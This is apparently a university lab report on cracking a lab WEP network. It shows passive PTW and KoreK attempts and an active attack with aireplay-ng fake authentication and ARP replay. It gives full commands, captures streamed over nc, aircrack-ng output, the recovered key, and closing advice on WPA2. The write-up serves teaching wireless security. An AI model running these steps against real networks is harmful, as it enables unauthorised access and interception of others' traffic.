

Question 1: Cracking WEP

a) Setup

- Installing on nodes: `opkg install aircrack-ng`

b) Pasive WEP attack using PTW

- `iw wlan0 scan` output:

```
BSS 00:1b:b1:01:dc:b2(on wlan0)
    TSF: 375550100327 usec (4d, 08:19:10)
    freq: 2462
    beacon interval: 100 TUs
    capability: ESS (0x0431)
    signal: -73.00 dBm
    last seen: 200 ms ago
    Information elements from Probe Response frame:
    SSID: WirelessLab_WEP_Crack_Me
BSS 00:1b:b1:02:01:4e(on wlan0)
    TSF: 137333337598 usec (1d, 14:08:53)
    freq: 2412
    beacon interval: 100 TUs
    capability: ESS (0x0431)
    signal: -41.00 dBm
    last seen: 4190 ms ago
    Information elements from Probe Response frame:
    SSID: WirelessLab_WPA_Crack_Me
```

Start nc on steppingStone, with starting time (epoch) in filename:

```
nc -l -p 8080 > "tcpdump_run01-$(date +%s).cap"
```

PTW attack with `tcpudmp` on node6:

We used `tcpdump` on node6 to capture packets, because `airodump-ng` makes the files locally and we couldnt find a way to forward them to stepping stone, which was needed

because of lack of space on nodes. We then used the `aircrack-ng` suite on our local machines, because it wasn't installed on SteppingStone.

First try:

We started this attack on Sun, 08 Jan 2017 00:14:45

Capture packets:

```
tcpdump -i wlan1 -G 10800 -W 1 -w- -s 65535 ether src or dst 00:1b:b1:01:dc:b2  
| nc 172.17.3.1 8080 &
```

Options:

- `-i wlan1` : Capture on interface wlan1
- `-G 10800` : Capture for 10800s (3 hours)
- `-W 1` : Write only one file (stop after we hit the `-G` limit)
- `-w-` : write to output (piped to nc, which sends it to SteppingStone)
- `-s 65535` : capture whole packets
- `ether src or dst 00:1b:b1:01:dc:b2` : Capture packets only on selected wlan, more specifically, with source or destination of the MAC of AP

Results:

- `capinfos -A tcpdump_run01-1483830885-filtered.cap` :

```
File name:          tcpdump_run01-1483830885-filtered.cap
File type:          Wireshark/tcpdump/... - pcap
File encapsulation: IEEE 802.11 plus radiotap radio header
File timestamp precision: microseconds (6)
Packet size limit:  file hdr: 65535 bytes
Number of packets:  2896 k
File size:          3373 MB
Data size:          3327 MB
Capture duration:   7875.773085 seconds
First packet time:  2017-01-08 00:14:47.512964
Last packet time:   2017-01-08 02:26:03.286049
Data byte rate:     422 kBps
Data bit rate:      3379 kbps
Average packet size: 1148,64 bytes
Average packet rate: 367 packets/s
SHA1:               e264de9430e678647886d41789b25acb47874038
RIPEMD160:          b9156d622cc7a4bf4e913924df0bd45f36ab8c70
MD5:                31a428278626e3c398afb431b4333d7c
Strict time order:  True
```

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Number of interfaces in file: 1

Interface #0 info:

```
Name = UNKNOWN
Description = NONE
Encapsulation = IEEE 802.11 plus radiotap radio header (2
3/127 - ieee-802-11-radiotap)
Speed = 0
Capture length = 65535
FCS length = -1
Time precision = microseconds (6)
Time ticks per second = 1000000
Time resolution = 0x06
Filter string = NONE
Operating system = UNKNOWN
Comment = NONE
BPF filter length = 0
Number of stat entries = 0
Number of packets = 2896715
```

- aircrack-ng -z tcpdump_run01-1483830885-filtered.cap :

Opening tcpdump_run01-1483830885-filtered.cap

Read 2896715 packets.

| # | BSSID | ESSID | Encryption |
|---|-------------------|--------------------------|-------------------|
| 1 | 00:1B:B1:01:DC:B2 | WirelessLab_WEP_Crack_Me | WEP (1926031 IVs) |

Choosing first network as target.

Opening tcpdump_run01-1483830885-filtered.cap

Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 1926031 ivs.

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[00:00:12] Tested 157873 keys (got 1926031 IVs)

| KB | depth | byte(vote) |
|----|---------|-------------------------------------------------------------------------------------------------------------------------|
| 0 | 131/133 | C1(1923328) 04(1922816) 0F(1922560) 8D(1922560) 2F(1922304) 5B(1922304) 7A(1922304) C5(1922304) FB(1922304) B1(1921792) |
| 1 | 84/ 1 | D2(1935104) 95(1934848) 38(1934592) 4D(1934336) 5E(1934336) D9(1934336) 68(1934080) 04(1933824) F0(1933824) 7D(1933312) |
| 2 | 2/ 13 | 3F(1984000) 2A(1983232) 4C(1968128) BC(1966848) 5D(1965056) 8 |

```
8(1961984) CE(1960704) 25(1958400) 9F(1958400) EA(1957888)
  3 255/ 3 DD(1868800) 46(1979136) D7(1975040) 45(1974272) 11(1973760) F
4(1972992) D5(1970944) 07(1969920) 3E(1967616) AB(1965056)
  4 0/ 4 83(2614272) 0B(1974528) 1A(1973760) C5(1973504) 29(1969152) 5
B(1967872) A1(1967360) A7(1967104) 84(1966080) 28(1963520)
```

Failed. Next try with 1930000 IVs.

Second try:

We started this attack on Sun, 08 Jan 2017 12:26:41.

Capture packets:

```
tcpdump -i wlan1 -c 300000 -w- -s 65535 ether src or dst 00:1b:b1:01:dc:b2 | n
c 172.17.3.1 8080 &
```

Options:

- `-i wlan1` : Capture on interface wlan1
- `-c 300000` : stop after 300.000 captured packets
- `-w-` : write to output (piped to nc, which sends it to SteppingStone)
- `-s 65535` : capture whole packets
- `ether src or dst 00:1b:b1:01:dc:b2` : Capture packets only on selected wlan, more specifically, with source or destination of the MAC of AP

Results:

- `capinfos -A tcpdump_run02-1483874801.cap` :

```
File name:          tcpdump_run02-1483874801.cap
File type:          Wireshark/tcpdump/... - pcap
File encapsulation: IEEE 802.11 plus radiotap radio header
File timestamp precision: microseconds (6)
Packet size limit:  file hdr: 65535 bytes
Number of packets:  300 k
File size:          350 MB
Data size:          345 MB
Capture duration:   794.134094 seconds
First packet time:  2017-01-08 12:26:42.462937
Last packet time:   2017-01-08 12:39:56.597031
Data byte rate:     434 kBps
Data bit rate:      3478 kbps
Average packet size: 1151,12 bytes
```

```
Average packet rate: 377 packets/s
SHA1:                e56ddd53b97500407114efcafa74eace4ea09003
RIPEMD160:           070327dc5ebc1c78b7766c2c60f6727484899a6c
MD5:                 1ab1d14d9d735d7a90a3054d1b0274d6
Strict time order:   True
Number of interfaces in file: 1
Interface #0 info:
    Name = UNKNOWN
    Description = NONE
    Encapsulation = IEEE 802.11 plus radiotap radio header (2
3/127 - ieee-802-11-radiotap)
    Speed = 0
    Capture length = 65535
    FCS length = -1
    Time precision = microseconds (6)
    Time ticks per second = 1000000
    Time resolution = 0x06
    Filter string = NONE
    Operating system = UNKNOWN
    Comment = NONE
    BPF filter length = 0
    Number of stat entries = 0
    Number of packets = 300000
```

- `aircrack-ng -z tcpdump_run02-1483874801.cap :`

Opening tcpdump_run02-1483874801.cap

Read 300000 packets.

| # | BSSID | ESSID | Encryption |
|---|-------------------|--------------------------|------------------|
| 1 | 00:1B:B1:01:DC:B2 | WirelessLab_WEP_Crack_Me | WEP (197335 IVs) |

Choosing first network as target.

Opening tcpdump_run02-1483874801.cap

Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 197335 ivs.

Aircrack-ng 1.2 beta3

[00:00:02] Tested 161377 keys (got 197335 IVs)

| KB | depth | byte(vote) |
|----|--------|---------------------------------------------------------------------------------------------------------------|
| 0 | 67/ 70 | FE(200960) 5D(200704) 81(200704) FB(200704) 42(200448) 7A(200448) 87(200448) E6(200448) EB(200448) 29(200192) |
| 1 | 35/ 1 | 89(205568) 50(205312) E4(205312) 80(205056) CA(205056) 23(204800) 56(204800) 2B(204544) F9(204544) B5(204288) |
| 2 | 12/ 48 | A2(209664) 34(209152) 72(209152) 17(208640) 9A(208640) 5B(208384) D8(208384) 4B(208128) 93(208128) 36(207872) |
| 3 | 255/ 3 | A9(178176) 99(211712) 5A(210688) 14(210432) 33(210432) D3(209664) 05(209408) B6(209408) CE(209152) 3F(208896) |
| 4 | 0/ 2 | 83(269824) 7F(216064) 74(213248) B6(212736) F7(212480) E7(211456) 63(210688) 39(210432) EC(210432) 28(210176) |

Failed. Next try with 200000 IVs.

Third try:

We started this attack on Sun, 08 Jan 2017 13:09:21.

Capture packets:

```
tcpdump -i wlan1 -c 3000000 -w- -s 65535 ether src or dst 00:1b:b1:01:dc:b2 | nc 172.17.3.1 8080 &
```

Options:

- `-i wlan1` : Capture on interface wlan1
- `-c 3000000` : stop after 3.000.000 captured packets
- `-w-` : write to output (piped to nc, which sends it to SteppingStone)
- `-s 65535` : capture whole packets
- `ether src or dst 00:1b:b1:01:dc:b2` : Capture packets only on selected wlan, more specifically, with source or destination of the MAC (ether) of AP

Results:

- `capinfos -A tcpdump_run03-1483877361.cap` :

```
File name:          tcpdump_run03-1483877361.cap
File type:          Wireshark/tcpdump/... - pcap
File encapsulation: IEEE 802.11 plus radiotap radio header
File timestamp precision: microseconds (6)
Packet size limit:  file hdr: 65535 bytes
Number of packets:  751 k
File size:          878 MB
Data size:          866 MB
```

```

Capture duration:      2009.366120 seconds
First packet time:    2017-01-08 13:09:22.551034
Last packet time:     2017-01-08 13:42:51.917154
Data byte rate:       431 kBps
Data bit rate:        3450 kbps
Average packet size:  1153,15 bytes
Average packet rate:  374 packets/s
SHA1:                 7ca87dc0e53f0eb8a512b48848a04b0fde48031b
RIPEMD160:            01406ffc68f230409375fe47409fe32d128c41a7
MD5:                  4a898572b44b5caf994e247d02da758c
Strict time order:    True
Number of interfaces in file: 1
Interface #0 info:
    Name = UNKNOWN
    Description = NONE
    Encapsulation = IEEE 802.11 plus radiotap radio header (2
3/127 - ieee-802-11-radiotap)
    Speed = 0
    Capture length = 65535
    FCS length = -1
    Time precision = microseconds (6)
    Time ticks per second = 1000000
    Time resolution = 0x06
    Filter string = NONE
    Operating system = UNKNOWN
    Comment = NONE
    BPF filter length = 0
    Number of stat entries = 0
    Number of packets = 751550

```

- `aircrack-ng -z tcpdump_run03-1483877361.cap :`

Opening tcpdump_run03-1483877361.cap

Read 751550 packets.

| # | BSSID | ESSID | Encryption |
|---|-------------------|--------------------------|------------------|
| 1 | 00:1B:B1:01:DC:B2 | WirelessLab_WEP_Crack_Me | WEP (501793 IVs) |

Choosing first network as target.

Opening tcpdump_run03-1483877361.cap

Attack will be restarted every 5000 captured ivs.

Starting PTW attack with 501793 ivs.

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[00:00:04] Tested 144965 keys (got 501793 IVs)

| KB | depth | byte(vote) |
|----|---------|---------------------------------------------------------------------------------------------------------------|
| 0 | 194/197 | F0(494592) 02(493824) 5F(493824) 37(493568) 6D(493568) FB(493568) B2(493312) B5(493312) F7(493312) 01(493056) |
| 1 | 0/ 1 | 47(682240) 96(527104) 80(526592) 2E(525312) B6(522496) DF(522240) 4D(521984) 5A(521472) 38(521216) 8C(521216) |
| 2 | 10/ 2 | F7(520960) 1C(520448) 11(520192) CD(520192) A8(519424) DF(519168) 14(518912) E0(518912) 06(518656) 08(518656) |
| 3 | 255/ 3 | 9B(472320) 21(524800) 37(524800) 3B(524544) 14(524288) E8(524288) 06(523776) 5D(522496) 61(522496) 12(521472) |
| 4 | 15/ 17 | 21(518656) 9C(517888) A8(517888) 11(517632) 5A(517632) B7(517376) 4F(516864) F6(516864) 4C(516608) 4D(516352) |

Failed. Next try with 505000 IVs.

- Just for fun, we tried also the Korek attack on this file: `aircrack-ng -K tcpdump_run03-1483877361.cap` :

Aircrack-ng 1.2 beta3

[00:00:01] Tested 85 keys (got 501793 IVs)

| KB | depth | byte(vote) |
|----|-------|------------------------------------------------------------------------------------|
| 0 | 0/ 2 | 4D(41) 98(24) 60(15) 79(15) 46(12) 99(12) C6(12) F0(12) 6B(10) 58(8) |
| 1 | 0/ 2 | 59(82) DD(52) 9D(36) DC(28) 18(25) A4(21) 1B(19) 5A(18) 1A(16) 6E(16) |
| 2 | 0/ 2 | 41(49) 07(26) 42(24) 7E(20) 40(17) 93(17) E6(17) 44(16) 62(15) E7(15) |
| 3 | 0/ 1 | 57(67) 05(25) 63(12) 74(12) 7F(12) F6(12) 72(11) 73(10) 9F(10) 82(9) |
| 4 | 0/ 1 | 45(178) 71(30) A1(25) A7(22) 54(20) 62(19) 04(15) DA(15) F7(15) 18(14) |
| 5 | 0/ 1 | 53(65) 18(26) AA(21) CA(17) 78(16) 16(14) 15(13) 25(12) 3E(12) 51(12) |
| 6 | 0/ 2 | 4F(634) 98(340) 9A(125) 06(71) A7(65) B9(60) EC(58) 1B(57) 2F(57) 5C(56) |
| 7 | 0/ 3 | 4D(46) 60(31) 09(23) 3F(20) 9C(20) 13(19) 15(17) 16(15) BB(15) 04(13) |


```

      8      1/  2   E4( 31) BB( 28) 51( 25) 09( 23) 08( 18) 5C( 18) 98( 16
) 41( 15) CA( 15) B1( 14)
      9      1/  1   01(  0) 02(  0) 03(  0) 04(  0) 05(  0) 06(  0) 07(  0
) 08(  0) 09(  0) 0A(  0)
     10      1/  1   D2( 119) 04( 95) 8C( 86) 82( 84) FE( 76) 36( 72) E7( 71
) EB( 70) 0F( 68) 32( 68)

```

```

      KEY FOUND! [ 4D:59:41:57:45:53:4F:4D:45:50:41:53:53 ] (ASCII: MYAWESOMEPA
SS )

```

```

      Decrypted correctly: 100%

```

After this, we used this key to decrypt the captured data from first run (3hr capture time) to check whether there are ARP packets, needed for PTW attack. There were indeed ARP packets captured. Since the first run captured almost 3 million packets. second 300.000 packets and third 750.000 packets on the ESSID WirelessLab_WEP_Crack_Me, and all the papers state that PTW attack needs less than 100.000 packets to have a success rate of more than 95%, we conclude that we are unable to crack this WEP password using PTW attack, but we are unsure of the reasons for this. Korek method on the other hand worked on third and first pass (as stated, KoreK needs at least 700.000 packets for 50% success rate), whereas the second capture was unsuccessful, probably because of too low packet count.

We also tried it with wlan management frames filtered out, as we read that PTW works only with IP (TCP/UDP/ICMP) and ARP packets, and that other packets may cause PTW to fail. This did not help. Link to supported packets for PTW: [PTW supported packets](#)

If successful, decrypt the traffic and describe it. Who is talking to whom here, and what protocols do you see?

Even though we were unable to get the key using PTW attack, we gained the correct key using KoreK attack and were thus able to decrypt the traffic. We can see that station with MAC a8:54:b2:71:d3:67 and IP 10.0.0.3 is talking to the AP with MAC 00:1b:b1:01:dc:b2 and IP 10.0.0.1, using TCP protocol. We can see the following protocols in use: radiotap, wlan_radio, wlan, llc, ip, tcp, data, arp . We can see that they are sending the sequence 0123456789 on a loop among other things.

c) Active WEP attack using KoreK

We started our attack on Sun, 08 Jan 2017 15:19:41.

0. Get our ath9k (monitor) interface MAC address:

`ifconfig wlan1 output:`

```
wlan1
Link encap:UNSPEC HWaddr A8-54-B2-71-D3-5D-D0-CA-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1
RX packets:44435804 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
bytes:26702657381 (24.8 GiB) TX bytes:0 (0.0 B)
```

From which we get `A8-54-B2-71-D3-5D-D0` , or better `A8:54:B2:71:D3:5D` as our card MAC address.

1. Injection test:

```
aireplay-ng -9 -e WirelessLab_WEP_Crack_Me -a 00:1b:b1:01:dc:b2 wlan1
```

Options:

- `-9` : mean injection test
- `-e WirelessLab_WEP_Crack_Me` : is the wireless network ESSID name
- `-a 00:1b:b1:01:dc:b2` : is the access point MAC address
- `wlan1` is the interface name

Output:

```
13:50:38 Waiting for beacon frame (BSSID: 00:1B:B1:01:DC:B2) on channel 11
13:50:38 Trying broadcast probe requests...
13:50:38 Injection is working!
13:50:40 Found 1 AP

13:50:40 Trying directed probe requests...
13:50:40 00:1B:B1:01:DC:B2 - channel: 11 - 'WirelessLab_WEP_Crack_Me'
13:50:47 Ping (min/avg/max): 7.349ms/7.349ms/7.349ms Power: -45.00
13:50:47 1/30: 3%
```

4. Start nc on SteppingStone

```
nc -l -p 8080 > "tcpdump_active_run01-$(date +%s).cap"
```

3. start tcpdump on node6:

```
tcpdump -i wlan1 -c 1000000 -w- -s 65535 ether src or dst 00:1b:b1:01:dc:b2 | nc  
172.17.3.1 8080 &
```

This has same options as above, with exception, that it will capture for 1.000.000 packets

4. Use aireplay-ng to do a fake authentication with the access point

```
aireplay-ng --fakeauth 0 -e WirelessLab_WEP_Crack_Me -a 00:1b:b1:01:dc:b2 -h  
A8:54:B2:71:D3:5D wlan1
```

Options:

- `--fakeauth 0` : fake authentication with AP, delay of 0 seconds
- `-e WirelessLab_WEP_Crack_Me` : is the wireless network ESSID name
- `-h A8:54:B2:71:D3:5D` : is our card MAC address
- `wlan1` is the interface name

Output:

```
14:19:46  Waiting for beacon frame (BSSID: 00:1B:B1:01:DC:B2) on channel 11  
  
14:19:46  Sending Authentication Request (Open System) [ACK]  
14:19:46  Authentication successful  
14:19:46  Sending Association Request [ACK]  
14:19:46  Association successful :- ) (AID: 1)
```

5. Start aireplay-ng in ARP request replay mode

```
aireplay-ng --arpresplay -b 00:1b:b1:01:dc:b2 -h A8:54:B2:71:D3:5D wlan1
```

- `--arpresplay` : standard ARP-request replay (ARP injection of received ARP request packets)
- `-e WirelessLab_WEP_Crack_Me` : is the wireless network ESSID name
- `-h A8:54:B2:71:D3:5D` : is our card MAC address
- `wlan1` is the interface name

6. Results:

- capinfos:

```
File name:          tcpdump_active_run01-1483885181.cap
File type:          Wireshark/tcpdump/... - pcap
File encapsulation: IEEE 802.11 plus radiotap radio header
File timestamp precision: microseconds (6)
Packet size limit:  file hdr: 65535 bytes
Number of packets:  1000 k
File size:          1166 MB
Data size:          1150 MB
Capture duration:   2744.517380 seconds
First packet time:  2017-01-08 15:19:44.358495
Last packet time:   2017-01-08 16:05:28.875875
Data byte rate:     419 kBps
Data bit rate:      3354 kbps
Average packet size: 1150,84 bytes
Average packet rate: 364 packets/s
SHA1:               57eb7c958b64ecdf5f8e51398a778ebbf8ec8a8a
RIPEMD160:          973013e3c86760a6fee15f2a4535235f52278e49
MD5:                815d350027de063de2b60b75c6b1cd4b
Strict time order:  True
Number of interfaces in file: 1
Interface #0 info:
    Name = UNKNOWN
    Description = NONE
    Encapsulation = IEEE 802.11 plus radiotap radio header (2
3/127 - ieee-802-11-radiotap)
    Speed = 0
    Capture length = 65535
    FCS length = -1
    Time precision = microseconds (6)
    Time ticks per second = 1000000
    Time resolution = 0x06
    Filter string = NONE
    Operating system = UNKNOWN
    Comment = NONE
    BPF filter length = 0
    Number of stat entries = 0
    Number of packets = 1000000
```

Cracking:

- `aircrack-ng -K tcpdump_active_run01-1483885181.cap` :
Found the wrong WEP key:

```
Opening tcpdump_active_run01-1483885181.cap
Read 1000000 packets.
```

| # | BSSID | ESSID | Encryption |
|---|-------------------|--------------------------|------------------|
| 1 | 00:1B:B1:01:DC:B2 | WirelessLab_WEP_Crack_Me | WEP (664411 IVs) |

Choosing first network as target.

```
Opening tcpdump_active_run01-1483885181.cap
Reading packets, please wait...
```

Aircrack-ng 1.2 beta3

[00:00:10] Tested 2647 keys (got 664411 IVs)

| KB | depth | byte(vote) |
|----|-------|---------------------------------------------------------------------------------------|
| 0 | 0/ 2 | 4D(50) 4E(48) 9D(17) A7(16) 5A(15) 0F(13) A5(12)) 43(9) 49(9) 51(9) |
| 1 | 0/ 1 | 59(144) 19(21) 1C(18) 54(16) 5A(16) F2(16) F8(16)) F9(16) 56(15) A0(15) |
| 2 | 2/ 9 | 9F(23) 3F(21) 78(21) 2F(19) A1(18) 42(15) BE(15)) 8B(13) 4C(10) 90(9) |
| 3 | 0/ 1 | F9(82) 05(33) 1A(17) 7C(17) 26(16) A0(15) BB(13)) 19(12) 99(12) 09(11) |

KEY FOUND! [4D:59:9F:F9:45]

Decrypted correctly: 0%

We then tried it with the option `-k <number>` , which disables each of the 17 possible different KoreK attacks selectively. We got the tsame wrong password with numbers 1, 5, 8, 10, 12, 13, 14, 15, 16 and a slightly different but still wrong password (KEY FOUND! [4D:59:3F:59:45] (ASCII: MY?YE)) with numbers 3, 7, 11, 17 .

Option `-k 2` we left running for 2 hours, after which we stopped it. In that time it tested 11.3 million keys.

Option `-k 6` failed with output:

Opening tcpdump_active_run01-1483885181.cap
Read 1000000 packets.

| # | BSSID | ESSID | Encryption |
|---|-------------------|--------------------------|------------------|
| 1 | 00:1B:B1:01:DC:B2 | WirelessLab_WEP_Crack_Me | WEP (664411 IVs) |

Choosing first network as target.

Opening tcpdump_active_run01-1483885181.cap
Reading packets, please wait...

Aircrack-ng 1.2 beta3

[00:05:45] Tested 207119 keys (got 664411 IVs)

| KB | depth | byte(vote) |
|-----------|---------|----------------------------------------------------------|
| 0 | 1/ 2 | 4E(48) 9D(17) A7(16) 5A(15) 0F(13) A5(12) 49(9) |
|) F0(9) | 3A(6) | 46(6) |
| 1 | 0/ 1 | 58(141) F8(19) 1B(18) 53(16) 59(16) F1(16) 55(15) |
|) 9D(15) | 18(13) | F2(13) |
| 2 | 5/ 6 | 41(16) 8B(13) 42(12) 9F(12) BE(10) AA(9) 3E(6) |
|) 46(6) | A0(5) | F6(5) |
| 3 | 0/ 1 | 57(42) DA(20) 58(16) 84(16) 78(15) 19(13) FB(13) |
|) 77(12) | FE(12) | B1(11) |
| 4 | 0/ 1 | 45(138) 16(19) E5(11) FA(11) F0(10) 9B(7) BB(7) |
|) 53(6) | 8A(6) | 9A(6) |
| 5 | 0/ 1 | 53(118) BC(20) 4D(16) A2(16) C7(12) 02(10) 5A(10) |
|) 3D(9) | 99(7) | 05(6) |
| 6 | 2/ 3 | 60(22) 4F(16) 7D(15) 3D(12) 01(8) 12(6) 3C(6) |
|) 46(6) | 52(6) | E1(6) |
| 7 | 0/ 1 | 3C(74) F6(24) 88(18) E2(15) EA(15) F0(12) D2(11) |
|) 07(10) | F9(10) | F3(9) |
| 8 | 11/ 13 | E4(11) EF(10) 94(7) 95(6) F4(5) 3B(4) 96(4) |
|) AB(4) | 30(3) | 39(3) |
| 9 | 0/ 1 | B1(136) B2(20) 52(18) 5D(12) B3(12) BC(12) 5B(11) |
|) 56(10) | 71(10) | F4(10) |
| 10 | 0/ 1 | 41(81) CB(18) 04(15) 43(13) 8C(13) FC(12) FE(10) |
|) 11(9) | 98(9) | 9A(9) |
| 11 | 0/ 1 | 53(184) C3(22) DB(13) 44(11) A0(10) DC(10) ED(10) |
|) AE(9) | CF(9) | E6(9) |

Attack failed. Possible reasons:

- * Out of luck: you must capture more IVs. Usually, 104-bit WEP can be cracked with about one million IVs, sometimes more.
- * If all votes seem equal, or if there are many negative votes, then the capture file is corrupted, or the key is not static.
- * A false positive prevented the key from being found. Try to disable each korek attack (-k 1 .. 17), raise the fudge factor (-f)

Quitting aircrack-ng...

Option -k 9 was the only successfull one, with output:

Opening tcpdump_active_run01-1483885181.cap
Read 1000000 packets.

| # | BSSID | ESSID | Encryption |
|---|-------------------|--------------------------|------------------|
| 1 | 00:1B:B1:01:DC:B2 | WirelessLab_WEP_Crack_Me | WEP (664411 IVs) |

Choosing first network as target.

Opening tcpdump_active_run01-1483885181.cap
Reading packets, please wait...

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[00:00:08] Tested 3158 keys (got 664411 IVs)

| KB | depth | byte(vote) |
|----|-------|----------------------------------------------------------|
| 0 | 0/ 2 | 4D(50) 4E(48) 9D(17) 5A(15) 0F(13) A7(13) A5(12) |
| | |) 43(9) 49(9) 51(9) |
| 1 | 0/ 1 | 59(144) 19(21) 54(16) 5A(16) F2(16) F9(16) 1C(15) |
| | |) F3(13) F8(13) 17(12) |
| 2 | 1/ 8 | 41(26) 9F(23) 3F(21) 78(21) 2F(19) A1(18) BE(15) |
| | |) 8B(13) 42(12) 4C(10) |
| 3 | 0/ 1 | 57(113) 78(17) DA(17) 72(15) FB(15) FE(15) 19(13) |
| | |) 84(13) 77(12) 5B(9) |

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4  0/ 1  45( 158) 97( 24) 16( 19) BB( 12) 9D( 11) 49( 10) 9E( 10
) FD( 10) 51( 9) F0( 9)
5  0/ 1  53( 146) AA( 18) BC( 17) 4D( 16) FC( 15) A2( 13) C7( 12
) 5D( 11) AF( 11) 5A( 10)
6  1/ 2  4F( 451) 3D( 164) 2A( 94) A9( 83) F3( 80) F9( 80) 7D( 77
) 5B( 75) 5E( 75) A7( 75)
7  0/ 1  4D( 103) 0A( 17) 99( 15) FB( 15) 02( 13) 07( 13) A5( 13
) 01( 12) D1( 11) A2( 10)
8  1/ 2  AF( 30) AC( 20) 46( 18) 99( 18) C0( 17) AB( 14) BF( 13
) E4( 13) F4( 13) 41( 12)
9  1/ 1  01( 0) 02( 0) 03( 0) 04( 0) 05( 0) 06( 0) 07( 0
) 08( 0) 09( 0) 0A( 0)
10 1/ 1  FD( 115) 35( 93) 46( 88) 8B( 86) 0D( 75) 3D( 73) 88( 70
) EB( 68) 1E( 66) 43( 65)

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KEY FOUND! [ 4D:59:41:57:45:53:4F:4D:45:50:41:53:53 ] (ASCII: MYAWESOMEPA
SS )

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Decrypted correctly: 100%

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This attack worked, although it needed some help with disabling different KoreK attacks to get the right WEP key. The Gathering itself took 45minutes, although we were supposed to be injecting packets at a rate of 500 packets/s. We can observe in the `capinfos` output, that the actual packet rate was 364 packets/s on average, which is inclusive of both the normal packets and our injected packets. If we could inject at the maximum rate of 1024, we should be able to get the total capture time down to about 15min. If we could use “online” attack, meaning using `aircrack-ng` on the captured file on the capturing device, this may go even lower.

Difference between KoreK and PTW attacks

KoreK attacks is older, it uses various statistical attacks to discover the WEP key and uses these in combination with brute forcing. It has a success probability of 50% with 700,000 frames and is also slower and needs more packets than PTW method. On the other hand the PTW method does have some limitations and the KoreK method is therefore at times is the only option, which is why it still is included with `aircrack-ng`.

PTW attack is newer, it uses more correlations between RC4 keystream and key, it can use all the frames, which also makes it faster and needs more frames for a successful attack. An important limitation is that the PTW attack currently can only crack 40 and 104 bit WEP keys. The main advantage of the PTW approach is that very few data packets are required to crack the WEP key.

d) What are the advantages and disadvantages of an active attack, compared to a passive attack?

An active attack should be able to be successful in a shorter time, especially in environments with low traffic, where we have to listen for a long time if we don't actively interact with the system. In an active attack we "provoke" others to send more frames. This is done by sending frames and letting others react to them. Disadvantage is that if we use our own MAC address (using fake authentication) the access point could log it. If we use MAC spoofing (using another station's MAC address), it will only work as long as the other station is still associated.

Also an active attack always leaves a trace, whereas a passive attack can not be discovered.

e) How could the two devices secure their communication, such that it is not possible to decrypt their traffic?

- **Option 1: Use WPA:** A bit better than WEP, but still prone to attacks, it still uses RC4 with 128bit key. Main problem is TKIP, which was deprecated in 2012. Even WPA is still considered relatively secure (much more than WEP in any case) when using a good long password or the full 64-character hexadecimal key.
- **Option 2: Use WPA2-PSK:** This uses a Pre-Shared Key, similar to WEP, but uses CCMP instead of TKIP (WPA) and AES instead of RC4 (WEP, WPA) for encryption. The "password" is no longer limited to 5 (40bit) or 13 (104bit) ASCII characters, but is instead of variable length from 8 to 63 characters. For best security WPS should be disabled, as it has a flaw, which makes it vulnerable to brute force attacks.
- **Option 3: Use WPA2-Enterprise:** Same improvements as with using WPA2-PSK, with the difference that it doesn't use a single Pre-Shared Key for all devices, but instead uses authentication with username and password for each client or client certificate. For this we also need an authentication server (RADIUS).